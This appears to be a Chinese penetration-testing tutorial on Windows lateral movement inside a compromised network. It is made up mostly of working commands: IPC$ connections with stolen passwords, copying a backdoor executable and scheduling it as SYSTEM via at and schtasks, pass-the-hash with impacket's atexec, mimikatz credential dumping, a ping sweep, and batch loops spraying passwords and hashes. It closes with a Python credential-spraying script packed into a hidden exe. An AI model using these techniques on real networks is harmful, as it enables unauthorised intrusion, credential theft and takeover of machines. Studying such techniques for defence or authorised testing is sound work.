0x01.前提条件
已知目标系统的用户明文密码的基础上 , 直接在远程主机上执行命令
本节的知识点是先搞清楚协议 , 然后扩展协议可以利用的点 , 再使用基于协议的第三方工具包 , 实战应用
0x02.横向渗透明文传递at&schtasks
1.ipc$
其本质就是IPC$空连接加上计划任务上线远程主机
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令。 获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
利用流程
1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接
常用命令
net use 查看当前机器已建立的连接
net view 192.168.1.2 # 查看对方共享
net use \\192.168.1.2\ipc$ "ggg.com123!" /user:euweb # 工作组
net use \\192.168.1.2\ipc$ "WIN.com123!" /user:hacker\win7 # 域内
dir \\192.168.1.2\C$\ # 查看文件列表
copy \\192.168.1.2\C$\1.bat 1.bat # 下载文件
copy 1.bat \\192.168.1.2\C$ # 复制文件
net use \192.168.1.2\ipc$ /del # 删除 IPC$连接
建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
2.at&schtasks
at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy mm.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\mm.exe #添加计划任务
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn mm /sc DAILY /tr c:\mm.exe /F #创建 adduser 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn mm /i #运行 mm 任务
schtasks /delete /s 192.168.3.21 /tn mm /f #删除 mm 任务
0x03.横向渗透明文HASH传递 atexec-impacket
atexec是基于前面的at协议开发的一款第三方工具
优点 : 使用简单
缺点 : 可能会被杀软识别
常用命令
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" # 工作组
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami" # 域内
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" # 工作组
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" # 域内
0x04.横向渗透明文HASH传递批量利用-综合版
操作流程
1.使用mimikatz获取明文密码privilege::debugsekurlsa::logonpasswords2.使用dos命令探测存活主机for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> ips.txt3.编写批处理文件,批量操作# 批量检测ip对应明文连接for /F %%I in (ips.txt) DO net use \\%%i\ipc$ "Admin12345"net use 查看建立的连接有哪些# 批量检测ip对应的用户密码+明文回显for /F %%I in (ips.txt) DO atexec.exe ./administrator:Admin12345@%%i "whoami" # 批量检测明文密码对应ip回显for /F %%I in (pass.txt) DO atexec.exe ./administrator:%%i@192.168.3.21 "whoami" # 批量检测hash对应ip回显for /F %%I in (hash.txt) DO atexec.exe -hashes:%%i ./administrator@192.168.3.21 "whoami"
0x05.横向渗透明文HASH传递批量利用-升级版
虽然是上面的方法已经实现了批量 , 但是有一个缺点就是每次只能控制一个变量 , 但是我们收集到的密码, ip , 域用户是三个变量 , 能不能一次实现对三个变量的检测???
python脚本
import osimport timeips = [ "192.168.3.11", "192.168.3.21", "192.168.3.31", "192.168.3.32", "192.168.3.23",]passes = [ 'admin12345', 'admin', 'admin666',]users = [ 'admin', 'adminstrator', 'mssql', 'dbadmin',]for i in ips: for j in passes: for u in users: exec1 = f"net use \\\\{i}\ipc$ {j} /user:god\\{u}" exec2 = f"net use \\\\{i}\ipc$ {j} /user:./{u}" print(f"<=={exec1}==>") print(f"<=={exec2}==>") os.system(exec1) os.system(exec2) time.sleep(0.5)
然后将以上代码打包成exe
pip3 install pyinstallerpyinstaller -F -w demo.py